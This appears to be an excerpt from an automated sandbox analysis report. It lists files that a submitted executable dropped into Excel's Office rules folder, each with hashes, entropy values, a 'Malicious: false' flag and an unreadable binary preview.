Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.903066679823898
Encrypted:	false
SSDEEP:	48:Z3Q7M0icB7f9O4evBf4FZ642Y7DoOV4aw9fraxTWiD:xiG27VSf4F0iV4FVraxl
MD5:	DEA2B21103A012F353AF870D26DD0803
SHA1:	B65A2E929AF4497D994795BC0E805E543DF0D620
SHA-256:	EAED99D7E12579D0C30B1B2B442BA8689D05223399840F92DC827DE63A123028
SHA-512:	ED2CE987A15C560C4BD5E4044FFF0A60B76B47BBF006C15474EF3511CFC4F2F7AB1ECF3D0361D16DAAEB189AA85EC551C62B0B84E3B4953E4AE2D0DA6622D706
Malicious:	false
Preview:	<?xml.Y#...D....#..L...!H..0.F.5..Q...{o.....!N...c......i:qJ..9.....{.....1..-/J"...S.].?H.......p......a./.ii.....T(....I..=..2...^2..>.7.k...6e......W..Q.r.R.U..`.....$.@h...\|j.>.^.G..B....JK.Fu.........<+7y.....ko........Y.!.}S..3..C..k.^%...%.q...t...p..%..r[.)......K...)@gVI.x..Pxw.4A..y...1........-...J.P.F..m.\.(hvG.jX$.\|U.....O%H.8..,s....N.x...l..?...1..K.T.C...;=.>.%......>.....8..../..I..%.........q.V....bR#.0.b....6.K.(.....>..R..F..C}.!..........@.J.&,..,.J.....#.......GkiMl..\..(...{.\..^.nQf.../..W;S"Q.K.);......#..4T.z....?...B\|..(.n..z...X\.D.~...s.i..._#d.!.,M..Ze.n.]...Q.S.1f...v..L_....>...X2.5....&/n..^.....s=;....4.r....nX.....m..\f.m=...K...w.....m..:..D....A..O...f3.....r..{l..8U..?.z.T...A.wu.....0...MK........~q..N.zg..5.,..;'.b.\.6.Bm.d.t.D.d...._.jW..[.......2n.....Nr.eYd.Y...l....X.n..]w.z........h..!..d...eE..........r.!...kr"v....X..... .$.T..r.n.h..z.E....Jg.~r\|\|..e....3T..._...'.$....).B..c.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.872315044996103
Encrypted:	false
SSDEEP:	24:QslwAT1cHPUokHKZV/jhMej0gC0JD4QHKhrzuXCKIFIIaLBmbIzAPmlHRBBbiTkX:De81c40ueIgC80QmXuS9NOVzAPCzOiD
MD5:	744F6C7850691C10E4BB22221F9503E6
SHA1:	6905DFB5576272B3D07CAE5071325412CCF95A2F
SHA-256:	955AA4C6BA5E3053C603367597B1B2DD152E6B12C7000E2DC120DDC7E863EB5B
SHA-512:	77AD58008D40F1C0CD027CE6565C8EFD147955F24B1B68805260F7034F0C1134474BF06E314A94D8416D8B546E2E13D066E1969BB047DC8BA37F206DE55DDDDB
Malicious:	false
Preview:	<?xml....%.U.U.4.=..?.gl.....vr..i.^.%c..)....\.\|.G.h..A.<.\|.CO.4......5..r....`..Nc...?FT.2..#.+z`..0.8...vz.1.E..1...<Q..n.o#L.E.EW.....<.1.^.".._.Q.!....F3...q\....>^.O.'..h..%....l.Sqi.\|\b..}A+..q..2..Av.....J....a.c;.H..Q.........Ix..K....Q[5..I..sH.\. .%-....sk..p-Q......,..225. .M...._a3Wg./!5.]w..{.Du....M......ycR.....MW..E..^.d.>x.]r.S...t...C.i.Z.....e.M.T.......}t.[......o\|...7...O5.X....Zg..Q'.~.me.2-.r.....n../.c..Fx...V....L...Z.&.._M..Rh...s1......oE^..CD....w.....j\..M.\`..+.#.;...Y5..wa.i."..t.<..<T.....e.>...9.9.@.W3...#.N..w.-/.~.....H.VH.c9.(...;K...3..../..p.aA&_..R.2..0.....z^.'.t:..x..}.<o.o..=....n..I!...Y....<......j.19l...V)..p.8..Av..o ...>P..\.A PM.....i.0..x.x,.#...^ZP...d...^...M...a.RV.."._>J.9.......<.c..U`...`....36j...Uw]n.7=..MM.._[Ol...\|@...j[09E....."Z.9....j'.S....\\...(..pV...N.m3\Y.S.....l......j.......D....Q...k..=...3.6.wz....>........o......tO.J'...9`.Y.%.v)qJe.m.o....p....k@dl..LX...\..e.E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.869083865587326
Encrypted:	false
SSDEEP:	24:YTnGy/BmVgrbQlkcChMPnJFN9GwiPSs/mSoBDl7b7gVOqsUdKSSeHMGTRH/K/IOv:scVtTeMR3AHSwmSoBpzg08dSp4iQiD
MD5:	505B3AD7C9C3DE87AEFF3DC65813BD4B
SHA1:	356C0511C764C1CF9C58134EE835E3819026B20D
SHA-256:	A06A692A08628E48DE67CC3A5AAB5555AA74158F54A5598934A2F75E5161D688
SHA-512:	1C6ADEB30D5C22E421E5A5686B269E670D7D968B7924103EDB2EFD5A28481E393010DA53AB89E1838B4249714C3557A6CA23683305018D23887C319758A3D05E
Malicious:	false
Preview:	<?xml%..Y...X.I).T......`..iT5.o.......F.Q...........o..>.4u.2.....p..H?....e'q...@Q.{..s.g..BX.]/..n..7-.B..C.pk. ......5...c..m.Y&H.x0.L^........a.sZ.+.A.bD.....5Wx.{..%..;h0..Y(3/S..C.x..1.."..CU....\|.)u....C"....`..8......aT.../Qv.U..... .;.........5.t.Ry..u4..S{..Pw....m..9e0..R9..Z#.]!lQ..7.#...OUUHi.T.k...T......t..l...#..<......Tp..r........{...R..JW..`.N.^..zT.....kS.....l.......m...+.>.e....p._..6U..{.T..F..DR......1UL^..R.......Di.]C.S.x.}.....l9}......\|....5n..^.rKX..VO.a.?.....N..ekv\.8.....dK.....e.?.,...Zl.ccj....z.0~;)V.7...c.,........ {....`...}...j..._.F.y...2..........YV..Im6...m.:...AP.8.T'.&.Y0..w.z..1.q.X....(Fwm...}.A.s.7..,.Yp...H.`._.:..n...;i.x .B....vQ.)...8#.JF.d.}..."..x...R...%....m...'.z......N..;'.m...........{E..Q......h..'.9....9.6J(..I...u.Q.VGT",...~L....'.............%..W<.8..cA_9Y.(`.48"k..S...P@n<..KAnt'...(..M....'.jJ^>1...U.3.'.u.2........<2V....q..,fy.....t=..$t........{E....Y{o;B.......{.j...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.875866695144682
Encrypted:	false
SSDEEP:	48:68PyfQa21E7J/RJk3jBsM0q6pEdDSUvvsjeG9D7iD:68PyfEWJ/GWJUnsjx+
MD5:	A0CCCA47A10E0A3693ED053FB1B60843
SHA1:	F6B42C858F553ECC29C5C41BD5D83A559C0B39DC
SHA-256:	FABA56BCC25A8A1CEF87046D2C5B52F423D766CB90E7B5260AE50E15193752AE
SHA-512:	6A872D65953158475127367B7D822867B0D29E2FBEAF6CD8205DB8168DB5716DB8EC9EC71FF84E844E9DAA6538CC3069C8054C16AACFB797E90BB3D02A558028
Malicious:	false
Preview:	<?xml..06..So..8...j......5...#.....8.}...Uj..?$......I.....5...c.v'.!..q..E.KY^./...}....M.K...4.V..g\.e[d.l.(.x........e...#.{>AM9...09...i.&...u.,......K..\|....K.....'P.0q..(.u....Tw.4.....t...A=\!{3r.2.$IA......XC..S.5\|...Pg.?.....%!..4.....,t.....6.Pw...q8. .ai..vs+..v.g:<M...i..!...c.k.\|z.^h..B..!.<K.i.Y. .z.!!.....m.0..-..`Y0..F...I.....^.2.}.T...l..:..+.}R.E...s....w.B.3.....nt..'.....#7[0...... .T.a....2...... z...s..&r....X./....Z5.\.'.Jk=J...J......[.1.5...[.[p.....>@.$.F..y.O...l.i..Hz.)._.W.heP.....)v.....D/.2-..N.......a..FL.&..u.......`.......0..g.o&wQjH ........b)O."...DD^G.....9.ffV.......mO.o.q.+.x....\....LE.je.(....M...,E..&...]......6..I...G...~.Z..>.Y.....zv [Q..t~.w.(...<...Pt.<jCM.M....j.....A....b.t..N.l=Y..+.......J.jnUia.....s..^y.%......S.!C..>....hy.....9...&..8.4...../..^.y[....ka..G4`.......p.Y...D...I$./.\..'.!.g.}5.-..&.F......9.....k..eD.s M...r.....8c=......R.`.._.c3i<r.k..{.>.....s.k.0..c.[.....Fi....B.G7L<W.4.x....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.885749729791383
Encrypted:	false
SSDEEP:	48:FhqaBMTZTId3ysb33ZLN/mwMrb+DLdZOiD:FZBMTZTI9yo3u3b+DXR
MD5:	8592BCC6CF36450DD561740EF64F4EB1
SHA1:	4460EE151A3DF871073E29C61BE7198A22E113CD
SHA-256:	8ECD3CCB4A4327707B40584F3DC9CC0DC350A3A1B65AF8ECE696169ACE1AEF93
SHA-512:	1B0BC51EC5D53196953F98C4ECAB35D0ECF979E1E0AC444C6CC3DD4C7EC281FC8715BA0C70C802776A1AEBB84FD2F4797083E05BCD64DB4B72B90C4EE7A593B4
Malicious:	false
Preview:	<?xml..o.;z...c...Q..'!:.....*....Sb..F..O.......E($P.......?....?.!........H.P_h.....B..T..u..x.\|\....>.'.MLq...fJ7..H\..E..aB.....5.........Q...2.KI.;=?/.t.Q.#.v.9.e..f-C.......N.l4......p.H...H....;....>...q{.k8m.......@.7..&.=..b.....;..&..O.v..K.....[..6....P...Xu.......T:\|q..WM`..Sv...S.........B.E.{.....oL........a...%UJ...!c.)..F.a...U.L;......T.4.L.~ZX..9.G.4.e....W.T...I..t.m.jU.......?.)..../...E.p.U..../.O........N....}^&..'.Y.XN._u.Y.l'..^.SQc._Oy...u..I.]...#..u'.....(....NC..../.qG.........;..).X...m.5q..Z+.........X..~.JSA]x.n.@...tB.&i`..........:.Z../.......Qn.r...9.....:.NQ.......J..f .=...^L.>.)U..{NFC.s......l.u..C.m5.\.{.j)...-.:.!..N3..r3..e..B`O...n.L.2..e..9{.}...\...k......~.rE...-C:.).....,..69.....$+,..Y....m...].r.V......g..~.3$or..B"F..L.(......q:V.N.I0.#..@@.xY...`......,.g.'..g.j@O.*.>...JN.._..................I\|.E..x``rj.A....q..5.\|......;.yO......s..+...!....q.(H.....q.DM.....s:..^c..z.....qA:..w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.872341431607658
Encrypted:	false
SSDEEP:	48:gCWfY6Rj539YmxO5Gd5lSS9sE6iG3dcdsTViD:gCWAYvRhdTZCigmKY
MD5:	5C2C92157C24F7E898269533F4AF4391
SHA1:	7D0BE02ABB87574BA970EA3BF1C84F6CD6F138F7
SHA-256:	B1FBBCA2F3B9664A4A9D4E00FED002781CE908FFEF1E8A9EBA0F98CB145DC429
SHA-512:	145DFC281319825F51AEDC7BA72D06EC9D9BE3514A607DAA744DEE04DA200FD83A6DD1A0C698CF1F9C32DC718B5C3E1F790D8A98E10BC75DDBC52313F1D7CCB0
Malicious:	false
Preview:	<?xmla...u`.....G>3..n.<..$\|..}y.cp.......H:.{....?.."...y^.e8...D:.[F.3.....uU....."Zb..n;.P.g...Yuyh...F1...ST.....eI....{...l..E...7......kP..i.}...sE.9..d...3:.J...rw7N.(...V.X33..^.]}.L..TLz....K+2I..%mpi#....X...7.k..>t..?5...h.f.S.1..#...sfDFK...7...Kv$:X...P..N....y...;....:......f3u.].i..4#...Y...$........o....^!+.w.....BX.V..E.m.....Z....i=...d.....^...l..Rqw..fb.b.7...C......4S.!..d.}./{H.F..D..?..W...Sw.'.....1.>l..K.`.m0..!..@...6.U...#@.....A....V.6.g....iu.V...._..,8....@^...j.2...*q.<.<..\.MD.=....bW$.).(.;.c...;\|..#.Hr..;@.h;..s!...X.....;).)...a\|5.....N.67.. ...........:c4wN....{.Z.............u......Lo../zs.. ...F...\(.Dm>....Y....#..N{.."uo........:.chZ..~.5.$.\|...3.w=.>..".(.....X..!.y......._J..6....S..~.\qWX..c.7>6E.ap@....m......`.B.\V...l..fh...7).NE....E........f....t.."...N.r.9l4Q...D.H._Igrh..hs./q.6mQ...(.k.._.VAm..%..P.:.tnTy..%.:VoT...yG.P.m.G..j..})o..(.......a.}.8y.K.3^.c...0t...`..P....'F_5.w.If

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.871825062302988
Encrypted:	false
SSDEEP:	24:ZBhhe/d4E0jEeYXFo15cef0UrjWot7SQ9pDXytXUDJZuKzVvroweViTkbD:zhhe/WEYYXO4ef0C9pDYUxZvXiD
MD5:	6DA0FF22E513386BC85DE35A698E307E
SHA1:	C6DE9534C7AC68E142592F3C005B7704FD5AF477
SHA-256:	C8B8125438509520F9404B93F15E8CB0EC7B1B12524051984D800E86AE97858F
SHA-512:	0099EE9065C3FE097CF2EAA8FDB9A1A9CBA3FAC8985F9AECD87A7DDACC1FD637215F48DEFB748225D8FDBCB1057B29F0C2B8E4B111BC9769E99B49F807C560A9
Malicious:	false
Preview:	<?xml......"!.'0.2..$...~...?s...#I..W.....P....i..v......-...j....Vt....gnJ.q....o....Tz...'-.V:.<.P. ..oY^r8..#.b.:..?.h.E..,.].<.Z....)..VyH....d.w..'..s.}yR&MH.;.........mR./U....r`.hW..5!..&.d...o.... .a..m.>W.u..3..r.....Q.+...YQ.n..yl....~K.....)....CG.J.C.T..?u......Z(D...0..we.w...y.....i... .&7....c..y. ..'P...!. ....U..m...l>..n.nV..Q..Z.zpt.....l.Q..P&$..y..".E..&....A.~..^E...;.Wp$.j1].l.qi"b...XY.....P.fl.C.<.0...w-...\....)...=v.....J?..r..P...TGT........0....{..V...0......!v."..4.....1.`.Js.J..4.K%!...7\|.d.e..e....!........Xt.O.~0/..!.Z#:...Vg.@....c8.K...3..V[}.].L...]...Q...."(.3..7.q<..K..{.n...L..-.a.......{.......+E....cz.5>..A."+ABg./.h....ON.....^.....5.....7L..&.n^B....M..........G..g.....l.r.4.[..~.2.....[.e#$~eGR..@......XG....".....%.$.D>.W..!.<..or.,.....UB..+.......48rA...\.p.Sd...3.1.wd.F.#=..=.(&..n.T..t.M...0...8.......51%p..]...\....<r@n.R~..F...sx.....y[.z.v...N..D.nF...P..B"3..Jh.;.......oN.I....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8785266568321495
Encrypted:	false
SSDEEP:	24:vaYyEy2/OH7Y1N0TvfXrg5n+X6ufFzc4zUWmgQ49OwE43E+cK+q/l++Zg3iiTkbD:qEy2/OH01NovM5geoUWmXIEse+Zg3XiD
MD5:	9492D03506C9506ACAE2E12A7F6B2387
SHA1:	CCCE447B2AF1AD548B1423E43EA83BC2F6675ED6
SHA-256:	24C6B50FBA6F6AE6214AFBEFF9BCDBCAB8A81E21945CBE5FBB8CCE4A71BF15F2
SHA-512:	B14CA12F65CBEBE05C04432A4B69B5D8B91966499323C66C53058B97F71F581A48402633D49249802146D05CA13DACDDACAFA0C112A09902DA3524C835D794B8
Malicious:	false
Preview:	<?xml.L.u.O.j.Y.V._.H..:np.U0./....W....g..I?.=....Z..0O..d=4.:.t...8.{].].l...W,%..%.}E...IlL.P.xpa(3......LFr...........7.W.h...a8j....r:..mO..!...!.7...Ty.].{..LC2..4E...-;.].M....O......_..5..v4...WO.A.L......%.=p...qY..$H+..`.........I.WO..85?..r,..k.H\|./.[[T.>>.hoz...LLL..j....(5...q/.....S.7.Mey".S...m.:.,.y.....S."...Df......_M.ag.....}<]....)....E...m...{F.C\|...L".>?P..i..Au.......].e..[F.H:'SO......Z.-......#o{a..=<.[...;..\j3.+....zz..32`^.#. J....W({..I.>.......D...`..$;iK.\|..Sk)._.4.M...._...+........)..0...g1.b.[W..C`z.......i2...Z....V?.y..=.......=..'.V.o..TQ....v..7H.n..!...ZY/.........C...ug...$..0b..3.B...;.N..Q........d.r7D......m..G.l..M..S=Q..VB..HXt..7{....l...Y...1...9..V:.....W`3..V.s....4h..Ws.m....2..i........`........]..Z VO.z..9n...ds.....A.`....4...y.2...gD8y^_.qRY.....B......a..d..TU.....3..&......Y....bU.$...qS....>^..O.p.}e..\.8&8......).o..#......<.....,..%;;..e........!..'....ch....4.pV~..UeyO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.887535366212387
Encrypted:	false
SSDEEP:	48:qqnbpb66YOuRhJpqO0YEjBbqh79YlCxEhbpWq06+tV2QhViD:Xbpb66YnRhJpajBbqh7lxEiq06+zJhE
MD5:	688C6126B7A13C0C0CD7DEDFF1D17D68
SHA1:	2FB2703CFF4515A66F154072BC996C681735BE3C
SHA-256:	24CA37F2A80F01BD7B3BDA97094BC24488A469A813AC47D5C883BE4525E7F83D
SHA-512:	A785860B6764046BBDE7C2FC8966CAE4D8459E78ADFD4A5001D5A0B5BECCF69F658C494EA26FE37379A28503548CEC3C1C7F6C1AA37341393A95099ADBADB6BF
Malicious:	false
Preview:	<?xml.."...F..%.c.>.....f....%.f...M..........e..;.e.dZ...)M.4<....;}..G..3<.O..4..p%Z2.].q.W..^~,..1..{.....g.1.. q...j..?..H.N;z).;......q>........Q:..`......5..Z.n}..$.IUR...e.IX.!-.:.Y%>..m.F.#......).......\|.?o..7E/!.-.iv.XfW......P{.."U..E..K....z^.....r~]L.....4.>...@.)...1,~?%.....3..S..?.<......}.8...b.p.+..m.?.I#\.R..a..8!gy/@..UdX.D:m.......K..H...+.J....?w.......@...o7~g.X......J`.6..V..5...[.l%6....)5....tsz5...:P.2.l.vP.'y...M..w.D......-..m.0...g.2...........e..>.H..^b.m..s.8...LQ........"[.=.w....F........N6f^.......'s..x......e..R.QS.E..>2.&._.#g..{?O*`=..8.. ........2.k..:...&.k..S.7.+Vi0.W.....3u.../.-S."z;......71-.&M.L..b.9....`.~"iW..2HC.v.)bq.......N}qs.-...`T:..4.....5....:m..M..s.?.3.@.?c....![a.M....}.N.x.>...==....?O..W....V......~%..JP...+.zT.O.w.P.+.Z..ps..<..~....]@..,.^...)f.5.Y.b $.R..Wf.X.t6.oW#.....~..t.W.4...-..ZD.&rG.HQ..#....<...\|.jih..7...~..)C$LX}.Q_..6..S..#1...g...e..5...i..A.vJ....[.H..R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.894052758520665
Encrypted:	false
SSDEEP:	48:t1JGcZetgNeyTsDn4A/zZay+mSROuBo58iD:tGcZeueyIDn4AwfQSGL
MD5:	A2719D0EE67135FC4AFB60901670FF1C
SHA1:	691666692392E61088680564EC1CE002C0C5C67E
SHA-256:	FCC0A91C9AC86EDCB28DDD505A555C58F77A24602DA7F77D04F6CC8567560E4A
SHA-512:	03A501A37F27320B72C95274A4AAF846329DADE4F05CA747C84ABCFF10B5BA61DE8580C13D35927FC2B3D2284EB80110E76A20FB3A4E23FC51BA9760629225F2
Malicious:	false
Preview:	<?xmlF..xf\|*.....~....SX5JO.{.3...Ox...L.RN.Y.kR...L...Q..q2..A..g.L.5]./.ws...I~.^]{.;D.}z>....)Yk../:%.+5.../.........z.G..6^e.v...?@.yl.. "K....`8.....y1t..Lj1n1pf~.h..... ..gb.....M.D....`l.^N@.-RaXq..t.._...-cs..mHn..K.S.RK..0.7.$..!.......g...8.......^A.....+...QwJ.j..../o.......ZB...5y........<.1.....Q-......g......W....jQ.4.]v.t.HQ.I.Mbk.?.;;r.0....a.~.c.^..........!.+....J.S.f.9.m)..tupa.PpMW../.o^.w$:..,.m...R....bZ+..r.Pe%8..8...@e.e.w......z..Xx'T.z....\.+.c....b=L.c..:^...!..".......;l.Y..,.pX..'D.........!....6...:.MD.Oa......r.R[\|.........\|wI.E6.^.?..z.C...B......[..[qYFU.M......f......j.A.._F{.V.S...y=8.\0..c.'......!QKc..+.k.z._.\."b.!er....i..U....(q..j.o..\z].c...X...-..I....N~..i..#.&..g.53i.'.........]&bC...2.].........;........W..PY&.....N...}...8C......9.l;M.k ...u......... ...........vH^.E>.'.....:...#......M.Q..a...,p':.R...e...e.q..K.....,...f....F......\|.&#F..........._....W.C....b.$.M...R~Y..0.zJO]....Z....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.898440125981302
Encrypted:	false
SSDEEP:	48:CljDJ52h6TLDrXSZ2agviqE6Tx3XIQl9R+BZiD:ADJjG8q+nICh
MD5:	35B4CE1197DFBE10EA62C5C8E64B0E88
SHA1:	97B1BE58926F558A59116F62007EA16DACAC319B
SHA-256:	CF8213E3CA609812E6A0F17C0DC5970B3AF10E8FAFAC945875E1E2579B76FCF6
SHA-512:	6DAE3310E021BBAF6702AC4122EA291D6DACCA700F7B25709CC2C9B7218C2D794303CFAD21C0DE8E0F69C7D96BA35D0C7382366A18AAD10ABBDA6902E642F1DE
Malicious:	false
Preview:	<?xml.x6.,xFi.v..k.wW......Ls.wu..V....i..yd.5a@..?.f.F..Q.W..oZ....o..c:......1...L'.....B.)u.....v74.....L...........,.{.{....V.$a~qi .......CIo...h.Vk.qvYuz...1.@...%t\9.... ...3....q.B."...._..,...bk....4 ...H.sJ..^<........w3CcS.S.....]...... ..q...C..!.9..b...i..T.X.`{.OP.>.....E..p.......=..."v..cO..._l.WV..>.lM.'!.F...p.x.Uz.&....y..#.H..;.;ll.>.W....)U..........R@.ateD......e...;H.......D..j....mj.F.8{.gU.......,...&E..X......a...<G^..2.#O...I.dE.}..E..]..m..F_....>...\|..,&...OLsU.~.......@.....M..k.BH....z~...x...gU.Z[......`...`...z.\...[.y.nL..=../V=.hRR.9.o.?.C.....B.]-..\....c....m.......S..'.. ...=.....,J..h4...){ ...o...&pK.....N.(.J......v..@.g..R...0...a-+.D.aX..-......=...7....q...X...%.=p....b.~.nCQ..3:.@r..bT../.q.........$9.c.V.A..1}..&..]..a....5d\nA8..YCu[.}.rQ...8.S+..d.p/..vN+.....NM.3.UT...~...........$.+..)...4...6..$2..._.....`....ej.....K1.Y.......n.[..1D.+.]].Y....N..!...'.].r.0.........bZ..V..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.88114313422031
Encrypted:	false
SSDEEP:	48:180EBpHOqF5eqoIp94j8VM1wdB8B45kisiD:1xCOqveTZj861w3D+i7
MD5:	23026F79B29736495635129383E62654
SHA1:	999CA1E2A470B3C75AF6861FDC25808F3CED8ACB
SHA-256:	30352E769C1322EE191C19F36C1E8103BC35E052150131A4C0FC59E67E2F26CD
SHA-512:	498F206594F43B5A742452359637AA48A3D43785B88E349E476FF1BCE7D9FA25E66E9A4E48B76171AD04EE8D5FBA9DB03B6BCBE1CE09C16B210ADBE33AC55701
Malicious:	false
Preview:	<?xml.....-......`..I.. #..O.zEn..w..d>..C...1...9.^..{.../...(/'.....N...'.B..@.Q...i.a.\...Q.q..~g.Y<(z./.q...y...BG.y.w.D...VU.O.F..S$...q......Q..$..3...G.../...K.....X.uy.+.m.._Z.C....!!Ur:...x...V.P....+3.j.<....-\...x..g...'.u...B_.+.=~.$....Y.J..y.#c.....Z......7.il...wW.h.]+...ZA.4...{..._.d[...`[>..,..\.h.S.leY."E......=56Dj..1.P`.!I.}...~.....>gLo4.y...@......7.....s..E(....Q.;n...s&..;.bG...U.;....=..E..H#{.W\..."._>...F?a.K.mF^/....$5.....j.PL.W.@j.........w.....I.`.R[...&.n.........6..R.`.4..._....\.a.n....7..<...c..........q..bH..8.....[...n.D.DK.c..p.....2g..l.0...G.V$.Q..E{.8.A..&$.n...y.i/.\|.L.......<.{O.....B........x.(.1.-..8.SN.g.@n.l2.#x^4...H.F}...0rV....d0.I6.......Z..e.=....}..7..(4.<.........W.9....,...:...{L\xu.+=..F..G.. ...r.....7.$........G^j^..w.9/..z...x.....{.j_.K..........;..rVK,..X....M.V....T.L.....s[Q..Vjh...:xp.^.R....m.%i...e.]...."V..n..;e6.0...H..X..".'na.S\.&....O.IU%.o:....rN..s.+....$..?C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.888337064120866
Encrypted:	false
SSDEEP:	48:gWOwENQiQPSKsSyIHxXKgDBlICbkLLTDoO5OoiD:rbPJsS7HJKgDYCALvDoZ3
MD5:	BE289DB0EACB74983BE2CA7DB4FB8DF4
SHA1:	9FC0FAC0B89B99AE12619252ADDBB9D52E78211A
SHA-256:	A86F7E97C7AAF48F43A5F4F59A2B1172E1A098011716CC8E2F5DF7B7848C9546
SHA-512:	650BFE319DFCF6125ACFEC0A495FF62F72867B38D430DA24ECFE42081B41DAFEB814D743911FAAE95A2053AE95F651D8E4D7BB0B9DE7AFB8BC0FCD7E25BC8891
Malicious:	false
Preview:	<?xml].4..Z@l.#....C.)]tLS.n.@.}.'. i.....0.^..Y2. iX.K.]$1?...j.$..f.oBe....F..B..-....^Q..B?.....y`xD7..I..dQ..GZKL3!...9..^.......).v...:I...... .P.e9..vZ%.....jC.n(:!.x....+4...K#.. .....k..BO. ?l....8.;.1......3i.....Qi.Z.._.}IO......o.M.o...'..3u..1.e...`J...c(..K.......T...a.d7ox.q...D.....v.]..Afa-.K'.i,...,`..PJ..X..x..kX....\|v.a]....w<.D..B.2..b3.<.T.9z@..$t...\|Y.....5...+V.........^ O...c03.K.X\|YnP.\.....~p.......%7..E......'....$l.<o.#(.U]zb...j5..F.B.6..P.....hf....i1...k.wF...T._.;...0..R.F..L..e.E.......V..]...k.e...h..3z.;.$.....4T."..e....=\.... ..9...4........... i....oHi........u...;A.+\|..S....y.4BN6.r..\..]....>p...........#..r..{....r+.b<R..@..F..(0Z.4.?......U..9d-..$.v.#bo\|..!....e...w.mi5.S..1T.u..%...C..<...#.z 3...W\|....R]o..........OxP..zg9./G..2..vS. ...`.wl.$.....">.OKp....=.v....>.7.F...8..&.>.^..!.].....j.S.h...'.g......i....V.b.o......&8...._.....`^.Wi.lkI....M..j.H...N.p....A._V....O@.O...:.>*..::4.uW..+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.887318223087201
Encrypted:	false
SSDEEP:	48:I69p7bTQh/1ySCfB+YQten9oPBG4kjQxOt3MiD:HDbTQpsS6I9tQuYXjQY3b
MD5:	336A0B80E4544FA2704A8DB6A512C92B
SHA1:	1D8CA0109113CB35ED84D6182CC19AA064696B38
SHA-256:	4D98470BCE4DDE695E68BA0F5C541FCA0B1DD034CF532CC180ED81FB5A3D0803
SHA-512:	1738D0AE71E2ADBE8F29788F81AD133D40AB361B544D086C970B94D723BB63281BF659D41A3D4A53362BB750DC454B507A8F9B43EA7EDFEDF470D61F45E7945E
Malicious:	false
Preview:	<?xml.\|.M.M...c:L..m...:......Wu9FuQ>....)....!....`..$........\./......t.ZRS..U.......:.#..+B....:..D.S...g.g...@.P....8...0i.R.B.../.B_b..]....^..M....L.+...]....?..).}K]9..cC..JK...Yv.I.)..........!.w..dS.}..48.):H{...c...@....x..x...o.'..$L.....)..S..o..-..4..m.Cv...e.%2..W.5,..\|.#.e.#>....>2..'..!..2..&3...bv.......LB........7. .:y....h..f.(._.R.p..W<j...P[.aXg8.y....H,.zL...Z<.#[.x...e..I.@S.H..7..k....Z@.@S.m.3.EN.\|.........\6..LR.8.@".'t'...2y.....]Z.X2..}R/W..T_.I..]...R.......G%.X.z..po.]..M.+^7.../.<.b..EM.\|...e.f.wq..&.....! ....O...y14a.......s^..o...O_....\|.....5.W?{..V.P....E..+.7.h.a._h..U....8D....+..^i...Po\..=.....\|.....6.VM..[<........_.P..1.k.g.......=......Vw.E.pa6..o..P..8.S..K....^.....e..(.w.\|...;9...l..6.v.(.K......t..K.,.....$......4D..,U..a.........Z.b..0S....0..CZ..d..wX.B~t.a.............K.i..P........t..c..a..5..P..z......3@.o....:.....V.!"..X.l...A.j^...>........S..2o...DP..W.l^OG....;."...-C....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.874334212062263
Encrypted:	false
SSDEEP:	48:+h5EtHMBqUO2n2LzdGdRwYps9J15/U6+qdUyAAiD:+isQ2nQzdyR/K5c6+qdUyU
